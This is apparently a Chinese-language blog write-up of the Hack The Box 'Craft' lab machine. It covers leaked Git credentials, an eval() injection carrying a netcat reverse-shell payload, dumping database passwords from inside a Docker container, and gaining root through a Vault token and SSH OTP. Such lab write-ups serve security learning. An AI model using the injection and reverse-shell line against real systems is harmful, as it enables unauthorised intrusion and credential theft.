iT邦幫忙

2

Hack The Box - Craft Writeup.

  • 分享至 

  • xImage
  •  

前言

以下自己寫的腳本有放在我的HTB GitHub
詳細筆記
(因為是用純文字模式在linux打的很醜請見諒:P)
最近開始會整合寫過的腳本到這裡來
(有很多腳本都在私人收藏,因為機器退休前不能公開的關西)
之後會慢慢地把之前的也補上~~

再來小編要入伍了,這篇可能是當兵前最後 or 倒數第二篇了~
今天這台是我本身很喜歡的一台機器!!
終於等到他退休可以寫了!


題目頁面

https://ithelp.ithome.com.tw/upload/images/20200104/20121620JOKCbkoV8H.jpg

Nmap:

root@kali:~/Desktop/htb/craft# cat nmap.txt 
# Nmap 7.80 scan initiated Tue Oct 29 23:56:25 2019 as: nmap -p- -sC -sV -o nmap.txt 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.25s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=10/30%Time=5DB90F0D%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到443port有開著,並且是經典的https
所以我們用https拜訪一下: https://10.10.10.110/
在一個連結處,我們嘗試著連線過去結果顯示網頁
看一下連結是 https://gogs.craft.htb
猜測有可能是子網域
因此我們到linux下的/etc/hosts修改一下
讓我們的電腦碰到此domain可以直接有資料不用再去跟DNS要(你也要不到)
另外這裡有另一個子網域叫做 https://api.craft.htb
這裡也一併的新增進去:

root@kali:~/Desktop/htb/craft#cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	kali
10.10.10.110 gogs.craft.htb
10.10.10.110 api.craft.htb #second one

來到 https://gogs.craft.htb ,發現是一個名為gogs的git服務
大概逛了一下看起來是內部開發人員所使用的。
仔細一點看你會發現在 Explore -> User -> dinesh -> Public Activity -> a2d28ed155
有一組cred可以用
dinesh:4aUh0A8PbVJxgd
網址: https://gogs.craft.htb/Craft/craft-api/commit/a2d28ed1554adddfcfb845879bfea09f976ab7c1

(不要覺得這很蠢,最近的星巴克開發人員才鬧過類似的烏龍...)
延伸閱讀: 星巴克將內部系統的 API 金鑰,意外放到 GitHub 的公開資料夾


接著我們拿這組帳密登入看看,發現成功登入。
接著我們在這裡發現開發人員在討論著要加些條件設定:
https://ithelp.ithome.com.tw/upload/images/20200105/20121620Bx2iktrZHj.jpg
如果加入的brew非整數的話會顯示ABV must be a decimal value less than 1.0"

結果我們發現此處的test.py檔案
https://gogs.craft.htb/Craft/craft-api/src/master/tests/test.py
來試跑看看發現此檔案就是在進行加入ABV brew的測試
https://ithelp.ithome.com.tw/upload/images/20200105/20121620O7HLpe1A1c.jpg
並且有返回上述提的ABV must be a decimal value less than 1.0"

再仔細看看開發者們的測試CODE:
https://ithelp.ithome.com.tw/upload/images/20200105/201216200polqvZs8s.jpg
發現了嗎?

if eval('%s > 1' % request.json['abv']):
    return "ABV must be a decimal value less than 1.0", 400

看到eval如此敏感的函數一定要注意
是有機會直接啟動os shell的
因此我們試著再test.py裡的brew_dict[abv]動手腳(他們會驗證的參數)
經過我一番Google後,發現了一句很有效的一行注入語法:
__import__("os").system("nc 我的IP 我的PORT -e /bin/sh")
最後注入會變成:

if eval('__import__("os").system("nc 我的IP 我的PORT -e /bin/sh")之後省略

因此我們把test.py裡的abv參數修改,
完整的邪惡版test.py:
接著執行test.py然後用nc等待就可以接到shell了:
https://ithelp.ithome.com.tw/upload/images/20200105/20121620kLo096zFR4.jpg


User Shell

欸??奇怪?怎麼一拿到shell就是root?這不是網頁服務而已嗎?
而且更奇怪的是root flag也不再這裡啊?
我卡在這裡很久,原來是被困在Docker容器裡了:P
要怎麼確認呢?
可以參考這篇文章How to know you are inside a docker container?
確認結果:

/opt/app # cat /proc/self/cgroup
10:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c

好的,那我們來"逃獄"吧!
首先我們看到一進來shell的地方有個dbtest.py
https://ithelp.ithome.com.tw/upload/images/20200105/20121620yjDgB3FxOV.jpg
執行後發現他會對資料庫撈資料:

/opt/app # python dbtest.py
{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}

上網查一下python MYSQL,可以發現原始碼的fetchone()只會撈一第一組資料
因此我們改成fetchall() :D
接著複製dbtest原始碼來用,把裡面的sql請求改成SHOW TABLES
來確認有無其他資料表(更謹慎可以確認SHOW DATABASE,但我做完後發現並沒有其他資料庫)
完整的改版dbtest.py會像這樣:(記得這是要上傳到box上才能使用的喔)
結果發現共有兩個資料表:brewuser
https://ithelp.ithome.com.tw/upload/images/20200105/20121620OiQdewZuy6.jpg
接下來當然就是撈user的資料內容囉
只需要把上面script的sql需求改成:SELECT * FROM user
我把它命名為bug_test2.py
完整的程式碼
得到結果:

/opt/app # python bug_test2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

拿到這些帳密後,我們回去gogs一個一個測試,發現gilfoyle:ZEU3N8WNM2rh4T是可以被使用的。
接著可以發現這位大哥把她的SSH物件全放在這
https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh
https://ithelp.ithome.com.tw/upload/images/20200105/20121620nVh866xpzk.jpg
整個下載下來後
利用id_rsa進行SSH登入
就可以拿到User Shell了:D

root@kali:~/Desktop/htb/craft/gilfoyle/craft-infra/.ssh# ssh gilfoyle@10.10.10.110 -i id_rsa


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Enter passphrase for key 'id_rsa': 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan  4 14:23:45 2020 from 10.10.15.78
gilfoyle@craft:~$

(passphrase就用上面SQL撈到的密碼即可)


Root Shell

Root Shell比較簡單
大致上就是考你這個服務(Vault)是怎麼使用的而已
在使用者家目錄下會發現:

gilfoyle@craft:~$ ls -la
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Feb  9  2019 .
drwxr-xr-x 3 root     root     4096 Feb  9  2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle  634 Feb  9  2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb  9  2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle  148 Feb  8  2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Jan  4 13:58 .ssh
-r-------- 1 gilfoyle gilfoyle   33 Feb  9  2019 user.txt
-rw------- 1 gilfoyle gilfoyle   36 Feb  9  2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb  9  2019 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

啃完資料發現可以利用此語法查詢該TOKEN的有效範圍:

gilfoyle@craft:~$ vault login token=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor       1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]

發現竟然有valut root權限
而Vault本身是一個密碼管理的服務
如果我們擁有Vault的最高級使用者權限的話
那麼叫他給個ROOT權限給我應該不過分吧:P
運用到一個叫做One Time Password的東西
詳細的原理可以參考下圖(我從這裡找到的):
https://ithelp.ithome.com.tw/upload/images/20200105/2012162024cjyTbHTG.png
接著就可以輕鬆root拉,也就是利用vault SSH連線自己本身
利用root token給的權限,讓vault給出一個OTP密碼,接著輸入就是root身分了:
https://ithelp.ithome.com.tw/upload/images/20200105/20121620Yfm293Ux5J.jpg
https://ithelp.ithome.com.tw/upload/images/20200105/20121620tNEErG68dp.jpg


結語

這次的User Part蠻好玩的
雖然技術層面可能不是很頂級
但是卻是人為非常容易犯下的錯誤
尤其剛好最近又有星巴克GitHub事件
加上我同學還分享此事件說這種蠢事他也幹過XD
所以請大家要注意自己Push在GitHub或是Git服務的東西(汗...

再來Root Part比較簡單,就是文件啃一啃就能得出的答案
近期作的一些題目也都很有趣
不過看來是得等到當兵放假期間寫了。

更多文章:https://ithelp.ithome.com.tw/users/20121620/articles


圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
HackerCat
iT邦新手 2 級 ‧ 2020-01-06 17:22:53

感謝分享 ~
Craft我卡超久
看著一堆hint也是各種卡關
覺得這台有夠難

badbug iT邦新手 5 級 ‧ 2020-01-06 17:58:20 檢舉

我第一次被卡在Docker裡也是莫名其妙
這題要一直翻他們的Git很暈哈哈~~

我要留言

立即登入留言